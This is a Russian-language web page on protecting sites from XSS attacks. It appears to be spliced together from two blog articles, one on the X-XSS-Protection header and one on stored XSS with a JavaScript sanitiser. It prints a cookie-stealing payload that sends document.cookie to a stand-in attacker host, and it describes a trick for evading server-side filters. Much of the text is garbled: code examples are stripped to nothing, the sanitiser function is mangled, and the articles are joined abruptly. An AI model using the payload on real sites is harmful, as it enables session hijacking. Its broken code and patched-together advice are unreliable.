Php защита от xss. Как защититься от xss атаки и устранить уязвимость

Использование заголовков безопасности является важным звеном в защите сайта и его посетителей от хакерских атак. В прошлой статье про из рубрики по защите и безопасности я обещал регулярно публиковать записи на эту тему. Сегодня я расскажу про защиту от XSS атаки.

Что такое XSS-атака

Межсайтовый скриптинг (Cross Site Scripting) — это уязвимость, которая позволяет злоумышленнику внедрить вредоносный код (обычно HTML или JavaScript) в содержимое сайта. Вредоносный код выполняется в браузере пользователя, который просматривает зараженную страницу сайта.

Злоумышленники могут эксплуатировать различные уязвимости. Наибольшее распространение получили два типа атаки:

  • Отражённая (Reflected XSS) — самый распространенный непостоянный тип атаки, требующий выполнения определённого действия со стороны пользователя.
  • Хранимая (Persistent XSS) — постоянный тип атаки с внедрением вредоносного кода на сервер, не требует вмешательства пользователя.
Отражённая XSS-атака

Срабатывает при переходе пользователя по специально подготовленной ссылке, которая отправляет запрос на сайт с уязвимостью. Данная уязвимость обычно является результатом недостаточной фильтрации входящих запросов, что позволяет манипулировать функциями и активировать вредоносные скрипты.

  • Злоумышленник внедряет в гиперссылку вредоносный скрипт, позволяющий просматривать cookies пользовательской сессии, и отправляет жертве по электронной почте или другим средствам коммуникации.
  • При переходе по ссылке пользователь становится захваченным.
  • Скрипт выполняется в браузере пользователя.
  • Браузер отправляет cookies злоумышленнику, обеспечивая доступ к личным данным пользователя.
    • Хранимая XSS-атака

    Для успешного выполнения хранимой атаки злоумышленнику достаточно найти уязвимость на сайте и разместить на своём сервере вредоносный скрипт. Затем на сайте размещается тег , который загружает скрипт с с внешнего сайта, например, в комментариях. При загрузке заражённой страницы вредоносный скрипт каждый раз передаётся в браузер пользователя.

  • Злоумышленник обнаруживает сайт с XSS уязвимостью и выполняет инъекцию вредоносного скрипта, который крадет cookies пользователя.
  • При каждом посещении сайта вредоносный скрипт активируется без выполнения каких либо действий.
  • Сессионные куки из браузера посетителя отправляются злоумышленнику.

    • Включение заголовка X-XSS-Protection

    Заголовок X-XSS-Protection предназначен для включения фильтра межсайтового скриптинга, встроенного во всех современных браузерах. Он позволит, например, предотвратить выполнение тега в URL страницы.

    Директива report для отправки отчётов действует аналогично директиве report-uri (или report-to) Content Security Policy (CSP), указывая браузеру пользователя сообщать о попытках нарушения политики безопасности контента. Об этом я расскажу в отдельной статье.

    Отчёт о нарушениях формируется в формате JSON и отправляется POST-запросами по указанному адресу URL.

    Возвращаясь к основной теме, рекомендую настроить сервер таким образом, чтобы HTTP заголовок включал фильтрацию и при XSS-атаке блокировал загрузку страницы с небезопасным содержимым. В файле дополнительной конфигурации.htaccess (или httpd.conf, если у вас есть полный доступ к серверу) веб-сервера Apache необходимо добавить следующую запись:

    Header set X-XSS-Protection "1; mode=block"

    Для сервера Nginx дополните файл nginx.conf в разделе HTTP записью:

    Add_header X-XSS-Protection "1; mode=block" ;

    В том случае, если доступ к конфигурационным файлам сервера отсутствует, но есть поддержка PHP, тогда используйте функцию:

    Cross Site Scripting, также известный как XSS, — это один из способов внедрения вредоносного кода, который исполняется на стороне клиента. Пользователь может заметить что-то неладное, например, необычное поведение страницы, иногда атака совершается абсолютно не заметно в фоновом режиме.

    Надеюсь, теперь вы стали немного больше понимать в HTTP-заголовках сервера и X-XSS поможет предотвратить межсайтовый скриптинг. Я использую заголовки безопасности на всех своих сайтах и настоятельно рекомендую вам сделать тоже самое. Вместе мы можем сделать интернет более безопасным! 😉

    Хранимые XSS-атаки

    Cross Site Scripting атака - это злонамеренное программное воздействие на браузер пользователя в целях кражи данных или причинения иного вреда. Чтобы не бросать тень на CSS (Caskading Style Sheets), договорились в сокращенном обозначении заменять первый символ, получили аббревиатуру: XSS -атака.

    Хранимые XSS-атаки - такие, при которых скрипт добавляется злоумышленником в тело страницы (посредством форм ввода - текстовых полей, инпутов, contenteditable- элементов - на форумах, в гостевых книгах и т.п.). Вставленный в сообщение замаскированный XSS-скрипт сохраняется (отсюда и название) сайтом, затем, при запросе пользователями зараженной страницы, запускается и атакует.

    Варианты оформления внедряемого XSS-кода, ворующего куки
    В тегах . . . :

    location.href="http://example.com/" + document.cookie;


    В виде обработчика событий в html-теге:

    Какой-то текст


    С использованием псевдопротокола javascript: :

    Результатом встраивания любого из этих примеров в страницу чужого сайта будет формирование от браузеров, загрузивших ее, запроса вида
    http://example.com/login=sasha;%20parol=terminator ,
    где http://example.com/ - сайт злоумышленника, а login=sasha , parol=terminator - куки с компьютера пользователя (куки или сам тип воруемой информации могут быть иными, но нам данное обстоятельство сейчас не важно). На сайте вора страницы с запрашиваемым адресом, понятно, нет, поэтому сервер его домена (http://example.com/ ) сгенерирует 404-ошибку, которую легко перехватить и записать адрес запроса в лог. Таким образом, когда вредитель внедрит в страницу чужого сайта любой из вышеприведенных XSS-скриптов (в отсутствие мер защиты на сайте), тогда в течение некоторого времени на сервере http://example.com/ автоматически сформируется лог-файл, содержащий сведения о куках с браузеров всех загрузивших зараженную страницу пользователей.

    Серверная защита от хранимых XSS-атак

    Решение проблемы очевидно: исключить возможность программного исполнения в браузере вводимого пользователем, сохраняемого и показываемого затем другим пользователям текста. Следовательно, необходимо нейтрализовать во вводе все те места, которые явно или предположительно включают в себя скрипт, как то:
    - контейнеры . . . ;
    - обработчики событий в тегах;
    - псевдопротоколы javascript: .

    Казалось бы, просто: убрать из текста заранее известные опасные последовательности символов. Так обычно и делают: на сервере php-обработчик (фильтр) парсит ввод, вырезает из него или заменяет в нем подозрительные фрагменты. Но! Браузеры ведь исполняют JavaScript, ничего "не зная" о PHP, сервер, наоборот, "не ведает" о javascript-е. В серверной защите плохо то, что она, по большому счету, не понимает, что она делает. Отсюда становятся понятными усилия "умельцев" хранимых XSS-атак. Последние двигаются в направлении подбора для атакуемых движков такого способа порчи вредоносного скрипта, при котором фильтр на сервере уже его не распознает, а иногда даже помогает заражению сайта.

    Простейший пример. Злоумышленник вводит:


    Сообщение отправляется на север. На сервере фильтр "видит" опасную символьную последовательность onmouseover и вырезает ее. В итоге, не представляющее никакой угрозы (не распознаваемое браузерами) oonmouseovernmouseover превращается в onmouseover , т.е. в понятное браузерам указание на событие. В общем случае, хранимые XSS-атаки так и осуществляют: вводят в поля сайта комбинации символов, отправляют, смотрят, что получается на выходе. Далее делают предположения о том, как работает фильтр и начинают составлять "боевую" комбинацию для него.

    Чтобы полноценно распознавать html на сервере, там нужен html-парсер, который учтет все, вплоть до особенностей различных версий того или иного браузера. Не кросс-, а СВЕРХ-браузерный парсер. Решение может быть более сложным, чем сама задача.

    Браузерная защита от хранимых XSS-атак

    Html-парсеры ведь уже есть - в браузерах. Пользуясь этим, заманчиво переложить задачу распознавания хранимых XSS-атак (ну, и защиту от них) на сами браузеры. Тогда станет ненужным предугадывать на сервере, увидит ли в добавленном на форум сообщении активное содержимое Firefox, увидит ли там активное содержимое Интернет-эксплорер и т.д. Логичнее спросить у браузера: "Ты, Firefox, видишь здесь скрипт?" . Или: "Ты, Интернет-эксплорер, видишь в этом сообщении активное содержимое?" Если браузер - именно этот, конкретный, этой версии - обнаружил скрипт, тогда можно отдать браузеру приказ нейтрализовать обнаруженное.

    Скрипты выполняются браузером по ходу загрузки страницы. Пусть даже фрагмент текста невидим или скрыт - если там есть скрипт, скрипт обязательно будет запущен. Какого-то html-контейнера, запрещающего исполнение скриптов, до сих пор не изобретено (если бы такой контейнер придумали, вопроса хранимых XSS-атак не стояло бы в принципе).

    Нам нужна "пассивная" загрузка - чтобы скрипты не запускались. Единственное, что приходит на ум - использовать комментарий ( ). Закомментированное браузерами не интерпретируется, не отображается, но загружается и встраивается в DOM (Document Object Model). Таким образом, заведомо имея на странице сайта подозрительный в отношении XSS контент, мы можем, тем не менее, безбоязненно отдавать эту страницу браузерам, лишь предварительно закомментировав сомнительные в плане безопасности фрагменты.

    По окончании загрузки, браузер должен отмеченные нами части текста проанализировать, обезопасить их, затем только показать пользователю. Событие, соответствующее окончанию загрузки страницы, есть, называется оно onload , применимо к контейнеру body . Значит, тело страниц нашего сайта, по крайней мере, тех из них, которые содержат добавляемый пользователями контент, должно реагировать на окончание загрузки:
    ,
    где getid("message") - функция, принимающая идентификатор того html-контейнера, содержимое которого должно быть проанализировано и обезврежено.

    Функция: выборщик фрагментов

    Интернет-эксплорер версий 6 или 7, сейчас - летом 2014 года - еще используют. Исходя из рунетовских статистик можно оценить долю эксплореров 6 и 7, вместе взятых, в 1% трафика. Пожалуй, это самые уязвимые браузеры. Я думаю, защиту надо строить такую, которая будет работать, начиная с шестого эксплорера. Пусть это и даст некоторые шероховатости в коде.

    Шестой эксплорер в ответ на document.getElementByClassName() выдает объект (не коллекцию объектов, как можно было бы ожидать). Подстраиваться приходится под самого слабого, поэтому, будем получать фрагменты текста так, как хочет эксплорер 6 - по одному. Опираться будем все же на id , но при этом допуская множество фрагментов с одинаковым id на одной странице. Такое против правил, зато получится кроссбраузерно.

    Функция getid(id) :

    function getid(id) { var obj; while (document.getElementById(id)) { obj = document.getElementById(id); obj.removeAttribute("id"); obj.innerHTML = obj.innerHTML.replace("", ""); clearhtml(obj); ]*?script[^>]*?>/gi, ""); obj.innerHTML = obj.innerHTML.replace(/]*?js:[^>]*?>/gi, ""); } }

    Ничего сложного, тем не менее, по каждой строке есть пояснения - в титлах (просто наведите курсор).

    Функция: чистильщик html

    Пользуясь методами и свойствами DOM, в частности, можно получить:
    - массив вложенных html-контейнеров;
    - имя каждого вложенного html-контейнера;
    - имена всех атрибутов каждого html-контейнера.
    В записи вида